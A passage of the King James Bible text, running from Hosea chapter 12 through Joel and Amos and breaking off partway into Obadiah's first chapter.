12:5 Even the LORD God of hosts; +the LORD is his memorial. + +12:6 Therefore turn thou to thy God: keep mercy and judgment and wait +on thy God continually. + +12:7 He is a merchant, the balances of deceit are in his hand: he +loveth to oppress. + +12:8 And Ephraim said, Yet I am become rich, I have found me out +substance: in all my labours they shall find none iniquity in me that +were sin. + +12:9 And I that am the LORD thy God from the land of Egypt will yet +make thee to dwell in tabernacles, as in the days of the solemn feast. + +12:10 I have also spoken by the prophets, and I have multiplied +visions, and used similitudes, by the ministry of the prophets. + +12:11 Is there iniquity in Gilead? surely they are vanity: they +sacrifice bullocks in Gilgal; yea, their altars are as heaps in the +furrows of the fields. + +12:12 And Jacob fled into the country of Syria, and Israel served for +a wife, and for a wife he kept sheep. + +12:13 And by a prophet the LORD brought Israel out of Egypt, and by a +prophet was he preserved. + +12:14 Ephraim provoked him to anger most bitterly: therefore shall he +leave his blood upon him, and his reproach shall his LORD return unto +him. + +13:1 When Ephraim spake trembling, he exalted himself in Israel; but +when he offended in Baal, he died. + +13:2 And now they sin more and more, and have made them molten images +of their silver, and idols according to their own understanding, all +of it the work of the craftsmen: they say of them, Let the men that +sacrifice kiss the calves. + +13:3 Therefore they shall be as the morning cloud and as the early dew +that passeth away, as the chaff that is driven with the whirlwind out +of the floor, and as the smoke out of the chimney. + +13:4 Yet I am the LORD thy God from the land of Egypt, and thou shalt +know no god but me: for there is no saviour beside me. + +13:5 I did know thee in the wilderness, in the land of great drought. + +13:6 According to their pasture, so were they filled; they were +filled, and their heart was exalted; therefore have they forgotten me. + +13:7 Therefore I will be unto them as a lion: as a leopard by the way +will I observe them: 13:8 I will meet them as a bear that is bereaved +of her whelps, and will rend the caul of their heart, and there will I +devour them like a lion: the wild beast shall tear them. + +13:9 O Israel, thou hast destroyed thyself; but in me is thine help. + +13:10 I will be thy king: where is any other that may save thee in all +thy cities? and thy judges of whom thou saidst, Give me a king and +princes? 13:11 I gave thee a king in mine anger, and took him away in +my wrath. + +13:12 The iniquity of Ephraim is bound up; his sin is hid. + +13:13 The sorrows of a travailing woman shall come upon him: he is an +unwise son; for he should not stay long in the place of the breaking +forth of children. + +13:14 I will ransom them from the power of the grave; I will redeem +them from death: O death, I will be thy plagues; O grave, I will be +thy destruction: repentance shall be hid from mine eyes. + +13:15 Though he be fruitful among his brethren, an east wind shall +come, the wind of the LORD shall come up from the wilderness, and his +spring shall become dry, and his fountain shall be dried up: he shall +spoil the treasure of all pleasant vessels. + +13:16 Samaria shall become desolate; for she hath rebelled against her +God: they shall fall by the sword: their infants shall be dashed in +pieces, and their women with child shall be ripped up. + +14:1 O israel, return unto the LORD thy God; for thou hast fallen by +thine iniquity. + +14:2 Take with you words, and turn to the LORD: say unto him, Take +away all iniquity, and receive us graciously: so will we render the +calves of our lips. + +14:3 Asshur shall not save us; we will not ride upon horses: neither +will we say any more to the work of our hands, Ye are our gods: for in +thee the fatherless findeth mercy. + +14:4 I will heal their backsliding, I will love them freely: for mine +anger is turned away from him. + +14:5 I will be as the dew unto Israel: he shall grow as the lily, and +cast forth his roots as Lebanon. + +14:6 His branches shall spread, and his beauty shall be as the olive +tree, and his smell as Lebanon. + +14:7 They that dwell under his shadow shall return; they shall revive +as the corn, and grow as the vine: the scent thereof shall be as the +wine of Lebanon. + +14:8 Ephraim shall say, What have I to do any more with idols? I have +heard him, and observed him: I am like a green fir tree. From me is +thy fruit found. + +14:9 Who is wise, and he shall understand these things? prudent, and +he shall know them? for the ways of the LORD are right, and the just +shall walk in them: but the transgressors shall fall therein. + + + + +Joel + + +1:1 The word of the LORD that came to Joel the son of Pethuel. + +1:2 Hear this, ye old men, and give ear, all ye inhabitants of the land. + +Hath this been in your days, or even in the days of your fathers? 1:3 +Tell ye your children of it, and let your children tell their +children, and their children another generation. + +1:4 That which the palmerworm hath left hath the locust eaten; and +that which the locust hath left hath the cankerworm eaten; and that +which the cankerworm hath left hath the caterpiller eaten. + +1:5 Awake, ye drunkards, and weep; and howl, all ye drinkers of wine, +because of the new wine; for it is cut off from your mouth. + +1:6 For a nation is come up upon my land, strong, and without number, +whose teeth are the teeth of a lion, and he hath the cheek teeth of a +great lion. + +1:7 He hath laid my vine waste, and barked my fig tree: he hath made +it clean bare, and cast it away; the branches thereof are made white. + +1:8 Lament like a virgin girded with sackcloth for the husband of her +youth. + +1:9 The meat offering and the drink offering is cut off from the house +of the LORD; the priests, the LORD's ministers, mourn. + +1:10 The field is wasted, the land mourneth; for the corn is wasted: +the new wine is dried up, the oil languisheth. + +1:11 Be ye ashamed, O ye husbandmen; howl, O ye vinedressers, for the +wheat and for the barley; because the harvest of the field is +perished. + +1:12 The vine is dried up, and the fig tree languisheth; the +pomegranate tree, the palm tree also, and the apple tree, even all the +trees of the field, are withered: because joy is withered away from +the sons of men. + +1:13 Gird yourselves, and lament, ye priests: howl, ye ministers of +the altar: come, lie all night in sackcloth, ye ministers of my God: +for the meat offering and the drink offering is withholden from the +house of your God. + +1:14 Sanctify ye a fast, call a solemn assembly, gather the elders and +all the inhabitants of the land into the house of the LORD your God, +and cry unto the LORD, 1:15 Alas for the day! for the day of the LORD +is at hand, and as a destruction from the Almighty shall it come. + +1:16 Is not the meat cut off before our eyes, yea, joy and gladness +from the house of our God? 1:17 The seed is rotten under their clods, +the garners are laid desolate, the barns are broken down; for the corn +is withered. + +1:18 How do the beasts groan! the herds of cattle are perplexed, +because they have no pasture; yea, the flocks of sheep are made +desolate. + +1:19 O LORD, to thee will I cry: for the fire hath devoured the +pastures of the wilderness, and the flame hath burned all the trees of +the field. + +1:20 The beasts of the field cry also unto thee: for the rivers of +waters are dried up, and the fire hath devoured the pastures of the +wilderness. + +2:1 Blow ye the trumpet in Zion, and sound an alarm in my holy +mountain: let all the inhabitants of the land tremble: for the day of +the LORD cometh, for it is nigh at hand; 2:2 A day of darkness and of +gloominess, a day of clouds and of thick darkness, as the morning +spread upon the mountains: a great people and a strong; there hath not +been ever the like, neither shall be any more after it, even to the +years of many generations. + +2:3 A fire devoureth before them; and behind them a flame burneth: the +land is as the garden of Eden before them, and behind them a desolate +wilderness; yea, and nothing shall escape them. + +2:4 The appearance of them is as the appearance of horses; and as +horsemen, so shall they run. + +2:5 Like the noise of chariots on the tops of mountains shall they +leap, like the noise of a flame of fire that devoureth the stubble, as +a strong people set in battle array. + +2:6 Before their face the people shall be much pained: all faces shall +gather blackness. + +2:7 They shall run like mighty men; they shall climb the wall like men +of war; and they shall march every one on his ways, and they shall not +break their ranks: 2:8 Neither shall one thrust another; they shall +walk every one in his path: and when they fall upon the sword, they +shall not be wounded. + +2:9 They shall run to and fro in the city; they shall run upon the +wall, they shall climb up upon the houses; they shall enter in at the +windows like a thief. + +2:10 The earth shall quake before them; the heavens shall tremble: the +sun and the moon shall be dark, and the stars shall withdraw their +shining: 2:11 And the LORD shall utter his voice before his army: for +his camp is very great: for he is strong that executeth his word: for +the day of the LORD is great and very terrible; and who can abide it? +2:12 Therefore also now, saith the LORD, turn ye even to me with all +your heart, and with fasting, and with weeping, and with mourning: +2:13 And rend your heart, and not your garments, and turn unto the +LORD your God: for he is gracious and merciful, slow to anger, and of +great kindness, and repenteth him of the evil. + +2:14 Who knoweth if he will return and repent, and leave a blessing +behind him; even a meat offering and a drink offering unto the LORD +your God? 2:15 Blow the trumpet in Zion, sanctify a fast, call a +solemn assembly: 2:16 Gather the people, sanctify the congregation, +assemble the elders, gather the children, and those that suck the +breasts: let the bridegroom go forth of his chamber, and the bride out +of her closet. + +2:17 Let the priests, the ministers of the LORD, weep between the +porch and the altar, and let them say, Spare thy people, O LORD, and +give not thine heritage to reproach, that the heathen should rule over +them: wherefore should they say among the people, Where is their God? +2:18 Then will the LORD be jealous for his land, and pity his people. + +2:19 Yea, the LORD will answer and say unto his people, Behold, I will +send you corn, and wine, and oil, and ye shall be satisfied therewith: +and I will no more make you a reproach among the heathen: 2:20 But I +will remove far off from you the northern army, and will drive him +into a land barren and desolate, with his face toward the east sea, +and his hinder part toward the utmost sea, and his stink shall come +up, and his ill savour shall come up, because he hath done great +things. + +2:21 Fear not, O land; be glad and rejoice: for the LORD will do great +things. + +2:22 Be not afraid, ye beasts of the field: for the pastures of the +wilderness do spring, for the tree beareth her fruit, the fig tree and +the vine do yield their strength. + +2:23 Be glad then, ye children of Zion, and rejoice in the LORD your +God: for he hath given you the former rain moderately, and he will +cause to come down for you the rain, the former rain, and the latter +rain in the first month. + +2:24 And the floors shall be full of wheat, and the vats shall +overflow with wine and oil. + +2:25 And I will restore to you the years that the locust hath eaten, +the cankerworm, and the caterpiller, and the palmerworm, my great army +which I sent among you. + +2:26 And ye shall eat in plenty, and be satisfied, and praise the name +of the LORD your God, that hath dealt wondrously with you: and my +people shall never be ashamed. + +2:27 And ye shall know that I am in the midst of Israel, and that I am +the LORD your God, and none else: and my people shall never be +ashamed. + +2:28 And it shall come to pass afterward, that I will pour out my +spirit upon all flesh; and your sons and your daughters shall +prophesy, your old men shall dream dreams, your young men shall see +visions: 2:29 And also upon the servants and upon the handmaids in +those days will I pour out my spirit. + +2:30 And I will shew wonders in the heavens and in the earth, blood, +and fire, and pillars of smoke. + +2:31 The sun shall be turned into darkness, and the moon into blood, +before the great and terrible day of the LORD come. + +2:32 And it shall come to pass, that whosoever shall call on the name +of the LORD shall be delivered: for in mount Zion and in Jerusalem +shall be deliverance, as the LORD hath said, and in the remnant whom +the LORD shall call. + +3:1 For, behold, in those days, and in that time, when I shall bring +again the captivity of Judah and Jerusalem, 3:2 I will also gather all +nations, and will bring them down into the valley of Jehoshaphat, and +will plead with them there for my people and for my heritage Israel, +whom they have scattered among the nations, and parted my land. + +3:3 And they have cast lots for my people; and have given a boy for an +harlot, and sold a girl for wine, that they might drink. + +3:4 Yea, and what have ye to do with me, O Tyre, and Zidon, and all +the coasts of Palestine? will ye render me a recompence? and if ye +recompense me, swiftly and speedily will I return your recompence upon +your own head; 3:5 Because ye have taken my silver and my gold, and +have carried into your temples my goodly pleasant things: 3:6 The +children also of Judah and the children of Jerusalem have ye sold unto +the Grecians, that ye might remove them far from their border. + +3:7 Behold, I will raise them out of the place whither ye have sold +them, and will return your recompence upon your own head: 3:8 And I +will sell your sons and your daughters into the hand of the children +of Judah, and they shall sell them to the Sabeans, to a people far +off: for the LORD hath spoken it. + +3:9 Proclaim ye this among the Gentiles; Prepare war, wake up the +mighty men, let all the men of war draw near; let them come up: 3:10 +Beat your plowshares into swords and your pruninghooks into spears: +let the weak say, I am strong. + +3:11 Assemble yourselves, and come, all ye heathen, and gather +yourselves together round about: thither cause thy mighty ones to come +down, O LORD. + +3:12 Let the heathen be wakened, and come up to the valley of +Jehoshaphat: for there will I sit to judge all the heathen round +about. + +3:13 Put ye in the sickle, for the harvest is ripe: come, get you +down; for the press is full, the fats overflow; for their wickedness +is great. + +3:14 Multitudes, multitudes in the valley of decision: for the day of +the LORD is near in the valley of decision. + +3:15 The sun and the moon shall be darkened, and the stars shall +withdraw their shining. + +3:16 The LORD also shall roar out of Zion, and utter his voice from +Jerusalem; and the heavens and the earth shall shake: but the LORD +will be the hope of his people, and the strength of the children of +Israel. + +3:17 So shall ye know that I am the LORD your God dwelling in Zion, my +holy mountain: then shall Jerusalem be holy, and there shall no +strangers pass through her any more. + +3:18 And it shall come to pass in that day, that the mountains shall +drop down new wine, and the hills shall flow with milk, and all the +rivers of Judah shall flow with waters, and a fountain shall come +forth out of the house of the LORD, and shall water the valley of +Shittim. + +3:19 Egypt shall be a desolation, and Edom shall be a desolate +wilderness, for the violence against the children of Judah, because +they have shed innocent blood in their land. + +3:20 But Judah shall dwell for ever, and Jerusalem from generation to +generation. + +3:21 For I will cleanse their blood that I have not cleansed: for the +LORD dwelleth in Zion. + + + + +Amos + + +1:1 The words of Amos, who was among the herdmen of Tekoa, which he +saw concerning Israel in the days of Uzziah king of Judah, and in the +days of Jeroboam the son of Joash king of Israel, two years before the +earthquake. + +1:2 And he said, The LORD will roar from Zion, and utter his voice +from Jerusalem; and the habitations of the shepherds shall mourn, and +the top of Carmel shall wither. + +1:3 Thus saith the LORD; For three transgressions of Damascus, and for +four, I will not turn away the punishment thereof; because they have +threshed Gilead with threshing instruments of iron: 1:4 But I will +send a fire into the house of Hazael, which shall devour the palaces +of Benhadad. + +1:5 I will break also the bar of Damascus, and cut off the inhabitant +from the plain of Aven, and him that holdeth the sceptre from the +house of Eden: and the people of Syria shall go into captivity unto +Kir, saith the LORD. + +1:6 Thus saith the LORD; For three transgressions of Gaza, and for +four, I will not turn away the punishment thereof; because they +carried away captive the whole captivity, to deliver them up to Edom: +1:7 But I will send a fire on the wall of Gaza, which shall devour the +palaces thereof: 1:8 And I will cut off the inhabitant from Ashdod, +and him that holdeth the sceptre from Ashkelon, and I will turn mine +hand against Ekron: and the remnant of the Philistines shall perish, +saith the Lord GOD. + +1:9 Thus saith the LORD; For three transgressions of Tyrus, and for +four, I will not turn away the punishment thereof; because they +delivered up the whole captivity to Edom, and remembered not the +brotherly covenant: 1:10 But I will send a fire on the wall of Tyrus, +which shall devour the palaces thereof. + +1:11 Thus saith the LORD; For three transgressions of Edom, and for +four, I will not turn away the punishment thereof; because he did +pursue his brother with the sword, and did cast off all pity, and his +anger did tear perpetually, and he kept his wrath for ever: 1:12 But I +will send a fire upon Teman, which shall devour the palaces of Bozrah. + +1:13 Thus saith the LORD; For three transgressions of the children of +Ammon, and for four, I will not turn away the punishment thereof; +because they have ripped up the women with child of Gilead, that they +might enlarge their border: 1:14 But I will kindle a fire in the wall +of Rabbah, and it shall devour the palaces thereof, with shouting in +the day of battle, with a tempest in the day of the whirlwind: 1:15 +And their king shall go into captivity, he and his princes together, +saith the LORD. + +2:1 Thus saith the LORD; For three transgressions of Moab, and for +four, I will not turn away the punishment thereof; because he burned +the bones of the king of Edom into lime: 2:2 But I will send a fire +upon Moab, and it shall devour the palaces of Kirioth: and Moab shall +die with tumult, with shouting, and with the sound of the trumpet: 2:3 +And I will cut off the judge from the midst thereof, and will slay all +the princes thereof with him, saith the LORD. + +2:4 Thus saith the LORD; For three transgressions of Judah, and for +four, I will not turn away the punishment thereof; because they have +despised the law of the LORD, and have not kept his commandments, and +their lies caused them to err, after the which their fathers have +walked: 2:5 But I will send a fire upon Judah, and it shall devour the +palaces of Jerusalem. + +2:6 Thus saith the LORD; For three transgressions of Israel, and for +four, I will not turn away the punishment thereof; because they sold +the righteous for silver, and the poor for a pair of shoes; 2:7 That +pant after the dust of the earth on the head of the poor, and turn +aside the way of the meek: and a man and his father will go in unto +the same maid, to profane my holy name: 2:8 And they lay themselves +down upon clothes laid to pledge by every altar, and they drink the +wine of the condemned in the house of their god. + +2:9 Yet destroyed I the Amorite before them, whose height was like the +height of the cedars, and he was strong as the oaks; yet I destroyed +his fruit from above, and his roots from beneath. + +2:10 Also I brought you up from the land of Egypt, and led you forty +years through the wilderness, to possess the land of the Amorite. + +2:11 And I raised up of your sons for prophets, and of your young men +for Nazarites. Is it not even thus, O ye children of Israel? saith the +LORD. + +2:12 But ye gave the Nazarites wine to drink; and commanded the +prophets, saying, Prophesy not. + +2:13 Behold, I am pressed under you, as a cart is pressed that is full +of sheaves. + +2:14 Therefore the flight shall perish from the swift, and the strong +shall not strengthen his force, neither shall the mighty deliver +himself: 2:15 Neither shall he stand that handleth the bow; and he +that is swift of foot shall not deliver himself: neither shall he that +rideth the horse deliver himself. + +2:16 And he that is courageous among the mighty shall flee away naked +in that day, saith the LORD. + +3:1 Hear this word that the LORD hath spoken against you, O children +of Israel, against the whole family which I brought up from the land +of Egypt, saying, 3:2 You only have I known of all the families of the +earth: therefore I will punish you for all your iniquities. + +3:3 Can two walk together, except they be agreed? 3:4 Will a lion +roar in the forest, when he hath no prey? will a young lion cry out of +his den, if he have taken nothing? 3:5 Can a bird fall in a snare +upon the earth, where no gin is for him? shall one take up a snare +from the earth, and have taken nothing at all? 3:6 Shall a trumpet be +blown in the city, and the people not be afraid? shall there be evil +in a city, and the LORD hath not done it? 3:7 Surely the Lord GOD +will do nothing, but he revealeth his secret unto his servants the +prophets. + +3:8 The lion hath roared, who will not fear? the Lord GOD hath spoken, +who can but prophesy? 3:9 Publish in the palaces at Ashdod, and in +the palaces in the land of Egypt, and say, Assemble yourselves upon +the mountains of Samaria, and behold the great tumults in the midst +thereof, and the oppressed in the midst thereof. + +3:10 For they know not to do right, saith the LORD, who store up +violence and robbery in their palaces. + +3:11 Therefore thus saith the Lord GOD; An adversary there shall be +even round about the land; and he shall bring down thy strength from +thee, and thy palaces shall be spoiled. + +3:12 Thus saith the LORD; As the shepherd taketh out of the mouth of +the lion two legs, or a piece of an ear; so shall the children of +Israel be taken out that dwell in Samaria in the corner of a bed, and +in Damascus in a couch. + +3:13 Hear ye, and testify in the house of Jacob, saith the Lord GOD, +the God of hosts, 3:14 That in the day that I shall visit the +transgressions of Israel upon him I will also visit the altars of +Bethel: and the horns of the altar shall be cut off, and fall to the +ground. + +3:15 And I will smite the winter house with the summer house; and the +houses of ivory shall perish, and the great houses shall have an end, +saith the LORD. + +4:1 Hear this word, ye kine of Bashan, that are in the mountain of +Samaria, which oppress the poor, which crush the needy, which say to +their masters, Bring, and let us drink. + +4:2 The Lord GOD hath sworn by his holiness, that, lo, the days shall +come upon you, that he will take you away with hooks, and your +posterity with fishhooks. + +4:3 And ye shall go out at the breaches, every cow at that which is +before her; and ye shall cast them into the palace, saith the LORD. + +4:4 Come to Bethel, and transgress; at Gilgal multiply transgression; +and bring your sacrifices every morning, and your tithes after three +years: 4:5 And offer a sacrifice of thanksgiving with leaven, and +proclaim and publish the free offerings: for this liketh you, O ye +children of Israel, saith the Lord GOD. + +4:6 And I also have given you cleanness of teeth in all your cities, +and want of bread in all your places: yet have ye not returned unto +me, saith the LORD. + +4:7 And also I have withholden the rain from you, when there were yet +three months to the harvest: and I caused it to rain upon one city, +and caused it not to rain upon another city: one piece was rained +upon, and the piece whereupon it rained not withered. + +4:8 So two or three cities wandered unto one city, to drink water; but +they were not satisfied: yet have ye not returned unto me, saith the +LORD. + +4:9 I have smitten you with blasting and mildew: when your gardens and +your vineyards and your fig trees and your olive trees increased, the +palmerworm devoured them: yet have ye not returned unto me, saith the +LORD. + +4:10 I have sent among you the pestilence after the manner of Egypt: +your young men have I slain with the sword, and have taken away your +horses; and I have made the stink of your camps to come up unto your +nostrils: yet have ye not returned unto me, saith the LORD. + +4:11 I have overthrown some of you, as God overthrew Sodom and +Gomorrah, and ye were as a firebrand plucked out of the burning: yet +have ye not returned unto me, saith the LORD. + +4:12 Therefore thus will I do unto thee, O Israel: and because I will +do this unto thee, prepare to meet thy God, O Israel. + +4:13 For, lo, he that formeth the mountains, and createth the wind, +and declareth unto man what is his thought, that maketh the morning +darkness, and treadeth upon the high places of the earth, The LORD, +The God of hosts, is his name. + +5:1 Hear ye this word which I take up against you, even a lamentation, +O house of Israel. + +5:2 The virgin of Israel is fallen; she shall no more rise: she is +forsaken upon her land; there is none to raise her up. + +5:3 For thus saith the Lord GOD; The city that went out by a thousand +shall leave an hundred, and that which went forth by an hundred shall +leave ten, to the house of Israel. + +5:4 For thus saith the LORD unto the house of Israel, Seek ye me, and +ye shall live: 5:5 But seek not Bethel, nor enter into Gilgal, and +pass not to Beersheba: for Gilgal shall surely go into captivity, and +Bethel shall come to nought. + +5:6 Seek the LORD, and ye shall live; lest he break out like fire in +the house of Joseph, and devour it, and there be none to quench it in +Bethel. + +5:7 Ye who turn judgment to wormwood, and leave off righteousness in +the earth, 5:8 Seek him that maketh the seven stars and Orion, and +turneth the shadow of death into the morning, and maketh the day dark +with night: that calleth for the waters of the sea, and poureth them +out upon the face of the earth: The LORD is his name: 5:9 That +strengtheneth the spoiled against the strong, so that the spoiled +shall come against the fortress. + +5:10 They hate him that rebuketh in the gate, and they abhor him that +speaketh uprightly. + +5:11 Forasmuch therefore as your treading is upon the poor, and ye +take from him burdens of wheat: ye have built houses of hewn stone, +but ye shall not dwell in them; ye have planted pleasant vineyards, +but ye shall not drink wine of them. + +5:12 For I know your manifold transgressions and your mighty sins: +they afflict the just, they take a bribe, and they turn aside the poor +in the gate from their right. + +5:13 Therefore the prudent shall keep silence in that time; for it is +an evil time. + +5:14 Seek good, and not evil, that ye may live: and so the LORD, the +God of hosts, shall be with you, as ye have spoken. + +5:15 Hate the evil, and love the good, and establish judgment in the +gate: it may be that the LORD God of hosts will be gracious unto the +remnant of Joseph. + +5:16 Therefore the LORD, the God of hosts, the LORD, saith thus; +Wailing shall be in all streets; and they shall say in all the +highways, Alas! alas! and they shall call the husbandman to mourning, +and such as are skilful of lamentation to wailing. + +5:17 And in all vineyards shall be wailing: for I will pass through +thee, saith the LORD. + +5:18 Woe unto you that desire the day of the LORD! to what end is it +for you? the day of the LORD is darkness, and not light. + +5:19 As if a man did flee from a lion, and a bear met him; or went +into the house, and leaned his hand on the wall, and a serpent bit +him. + +5:20 Shall not the day of the LORD be darkness, and not light? even +very dark, and no brightness in it? 5:21 I hate, I despise your feast +days, and I will not smell in your solemn assemblies. + +5:22 Though ye offer me burnt offerings and your meat offerings, I +will not accept them: neither will I regard the peace offerings of +your fat beasts. + +5:23 Take thou away from me the noise of thy songs; for I will not +hear the melody of thy viols. + +5:24 But let judgment run down as waters, and righteousness as a +mighty stream. + +5:25 Have ye offered unto me sacrifices and offerings in the +wilderness forty years, O house of Israel? 5:26 But ye have borne the +tabernacle of your Moloch and Chiun your images, the star of your god, +which ye made to yourselves. + +5:27 Therefore will I cause you to go into captivity beyond Damascus, +saith the LORD, whose name is The God of hosts. + +6:1 Woe to them that are at ease in Zion, and trust in the mountain of +Samaria, which are named chief of the nations, to whom the house of +Israel came! 6:2 Pass ye unto Calneh, and see; and from thence go ye +to Hamath the great: then go down to Gath of the Philistines: be they +better than these kingdoms? or their border greater than your border? +6:3 Ye that put far away the evil day, and cause the seat of violence +to come near; 6:4 That lie upon beds of ivory, and stretch themselves +upon their couches, and eat the lambs out of the flock, and the calves +out of the midst of the stall; 6:5 That chant to the sound of the +viol, and invent to themselves instruments of musick, like David; 6:6 +That drink wine in bowls, and anoint themselves with the chief +ointments: but they are not grieved for the affliction of Joseph. + +6:7 Therefore now shall they go captive with the first that go +captive, and the banquet of them that stretched themselves shall be +removed. + +6:8 The Lord GOD hath sworn by himself, saith the LORD the God of +hosts, I abhor the excellency of Jacob, and hate his palaces: +therefore will I deliver up the city with all that is therein. + +6:9 And it shall come to pass, if there remain ten men in one house, +that they shall die. + +6:10 And a man's uncle shall take him up, and he that burneth him, to +bring out the bones out of the house, and shall say unto him that is +by the sides of the house, Is there yet any with thee? and he shall +say, No. Then shall he say, Hold thy tongue: for we may not make +mention of the name of the LORD. + +6:11 For, behold, the LORD commandeth, and he will smite the great +house with breaches, and the little house with clefts. + +6:12 Shall horses run upon the rock? will one plow there with oxen? +for ye have turned judgment into gall, and the fruit of righteousness +into hemlock: 6:13 Ye which rejoice in a thing of nought, which say, +Have we not taken to us horns by our own strength? 6:14 But, behold, +I will raise up against you a nation, O house of Israel, saith the +LORD the God of hosts; and they shall afflict you from the entering in +of Hemath unto the river of the wilderness. + +7:1 Thus hath the Lord GOD shewed unto me; and, behold, he formed +grasshoppers in the beginning of the shooting up of the latter growth; +and, lo, it was the latter growth after the king's mowings. + +7:2 And it came to pass, that when they had made an end of eating the +grass of the land, then I said, O Lord GOD, forgive, I beseech thee: +by whom shall Jacob arise? for he is small. + +7:3 The LORD repented for this: It shall not be, saith the LORD. + +7:4 Thus hath the Lord GOD shewed unto me: and, behold, the Lord GOD +called to contend by fire, and it devoured the great deep, and did eat +up a part. + +7:5 Then said I, O Lord GOD, cease, I beseech thee: by whom shall +Jacob arise? for he is small. + +7:6 The LORD repented for this: This also shall not be, saith the Lord +GOD. + +7:7 Thus he shewed me: and, behold, the LORD stood upon a wall made by +a plumbline, with a plumbline in his hand. + +7:8 And the LORD said unto me, Amos, what seest thou? And I said, A +plumbline. Then said the LORD, Behold, I will set a plumbline in the +midst of my people Israel: I will not again pass by them any more: 7:9 +And the high places of Isaac shall be desolate, and the sanctuaries of +Israel shall be laid waste; and I will rise against the house of +Jeroboam with the sword. + +7:10 Then Amaziah the priest of Bethel sent to Jeroboam king of +Israel, saying, Amos hath conspired against thee in the midst of the +house of Israel: the land is not able to bear all his words. + +7:11 For thus Amos saith, Jeroboam shall die by the sword, and Israel +shall surely be led away captive out of their own land. + +7:12 Also Amaziah said unto Amos, O thou seer, go, flee thee away into +the land of Judah, and there eat bread, and prophesy there: 7:13 But +prophesy not again any more at Bethel: for it is the king's chapel, +and it is the king's court. + +7:14 Then answered Amos, and said to Amaziah, I was no prophet, +neither was I a prophet's son; but I was an herdman, and a gatherer of +sycomore fruit: 7:15 And the LORD took me as I followed the flock, and +the LORD said unto me, Go, prophesy unto my people Israel. + +7:16 Now therefore hear thou the word of the LORD: Thou sayest, +Prophesy not against Israel, and drop not thy word against the house +of Isaac. + +7:17 Therefore thus saith the LORD; Thy wife shall be an harlot in the +city, and thy sons and thy daughters shall fall by the sword, and thy +land shall be divided by line; and thou shalt die in a polluted land: +and Israel shall surely go into captivity forth of his land. + +8:1 Thus hath the Lord GOD shewed unto me: and behold a basket of +summer fruit. + +8:2 And he said, Amos, what seest thou? And I said, A basket of summer +fruit. Then said the LORD unto me, The end is come upon my people of +Israel; I will not again pass by them any more. + +8:3 And the songs of the temple shall be howlings in that day, saith +the Lord GOD: there shall be many dead bodies in every place; they +shall cast them forth with silence. + +8:4 Hear this, O ye that swallow up the needy, even to make the poor +of the land to fail, 8:5 Saying, When will the new moon be gone, that +we may sell corn? and the sabbath, that we may set forth wheat, making +the ephah small, and the shekel great, and falsifying the balances by +deceit? 8:6 That we may buy the poor for silver, and the needy for a +pair of shoes; yea, and sell the refuse of the wheat? 8:7 The LORD +hath sworn by the excellency of Jacob, Surely I will never forget any +of their works. + +8:8 Shall not the land tremble for this, and every one mourn that +dwelleth therein? and it shall rise up wholly as a flood; and it shall +be cast out and drowned, as by the flood of Egypt. + +8:9 And it shall come to pass in that day, saith the Lord GOD, that I +will cause the sun to go down at noon, and I will darken the earth in +the clear day: 8:10 And I will turn your feasts into mourning, and all +your songs into lamentation; and I will bring up sackcloth upon all +loins, and baldness upon every head; and I will make it as the +mourning of an only son, and the end thereof as a bitter day. + +8:11 Behold, the days come, saith the Lord GOD, that I will send a +famine in the land, not a famine of bread, nor a thirst for water, but +of hearing the words of the LORD: 8:12 And they shall wander from sea +to sea, and from the north even to the east, they shall run to and fro +to seek the word of the LORD, and shall not find it. + +8:13 In that day shall the fair virgins and young men faint for +thirst. + +8:14 They that swear by the sin of Samaria, and say, Thy god, O Dan, +liveth; and, The manner of Beersheba liveth; even they shall fall, and +never rise up again. + +9:1 I saw the LORD standing upon the altar: and he said, Smite the +lintel of the door, that the posts may shake: and cut them in the +head, all of them; and I will slay the last of them with the sword: he +that fleeth of them shall not flee away, and he that escapeth of them +shall not be delivered. + +9:2 Though they dig into hell, thence shall mine hand take them; +though they climb up to heaven, thence will I bring them down: 9:3 And +though they hide themselves in the top of Carmel, I will search and +take them out thence; and though they be hid from my sight in the +bottom of the sea, thence will I command the serpent, and he shall +bite them: 9:4 And though they go into captivity before their enemies, +thence will I command the sword, and it shall slay them: and I will +set mine eyes upon them for evil, and not for good. + +9:5 And the Lord GOD of hosts is he that toucheth the land, and it +shall melt, and all that dwell therein shall mourn: and it shall rise +up wholly like a flood; and shall be drowned, as by the flood of +Egypt. + +9:6 It is he that buildeth his stories in the heaven, and hath founded +his troop in the earth; he that calleth for the waters of the sea, and +poureth them out upon the face of the earth: The LORD is his name. + +9:7 Are ye not as children of the Ethiopians unto me, O children of +Israel? saith the LORD. Have not I brought up Israel out of the land +of Egypt? and the Philistines from Caphtor, and the Syrians from Kir? +9:8 Behold, the eyes of the Lord GOD are upon the sinful kingdom, and +I will destroy it from off the face of the earth; saving that I will +not utterly destroy the house of Jacob, saith the LORD. + +9:9 For, lo, I will command, and I will sift the house of Israel among +all nations, like as corn is sifted in a sieve, yet shall not the +least grain fall upon the earth. + +9:10 All the sinners of my people shall die by the sword, which say, +The evil shall not overtake nor prevent us. + +9:11 In that day will I raise up the tabernacle of David that is +fallen, and close up the breaches thereof; and I will raise up his +ruins, and I will build it as in the days of old: 9:12 That they may +possess the remnant of Edom, and of all the heathen, which are called +by my name, saith the LORD that doeth this. + +9:13 Behold, the days come, saith the LORD, that the plowman shall +overtake the reaper, and the treader of grapes him that soweth seed; +and the mountains shall drop sweet wine, and all the hills shall melt. + +9:14 And I will bring again the captivity of my people of Israel, and +they shall build the waste cities, and inhabit them; and they shall +plant vineyards, and drink the wine thereof; they shall also make +gardens, and eat the fruit of them. + +9:15 And I will plant them upon their land, and they shall no more be +pulled up out of their land which I have given them, saith the LORD +thy God. + + + + +Obadiah + + +1:1 The vision of Obadiah. Thus saith the Lord GOD concerning Edom; +We have heard a rumour from the LORD, and an ambassador is sent among +the heathen, Arise ye, and let us rise up against her in battle. + +1:2 Behold, I have made thee small among the heathen: thou art greatly +despised. + +1:3 The pride of thine heart hath deceived thee, thou that dwellest in +the clefts of the rock, whose habitation is high; that saith in his +heart, Who shall bring me down to the ground? 1:4 Though thou exalt +thyself as the eagle, and though thou set thy nest among the stars, +thence will I bring thee down, saith the LORD. + +1:5 If thieves came to thee, if robbers by night, (how art thou cut +off!) would they not have stolen till they had enough? if the +grapegatherers came to thee, would they not leave some grapes? 1:6 +How are the things of Esau searched out! how are his hidden things +sought up! 1:7 All the men of thy confederacy have brought thee even +to the border: the men that were at peace with thee have deceived +thee, and prevailed against thee; that they eat thy bread have laid a +wound under thee: there is none understanding in him. + +1:8 Shall I not in that day, saith the LORD, even destroy the wise men +out of Edom, and understanding out of the mount of Esau? 1:9 And 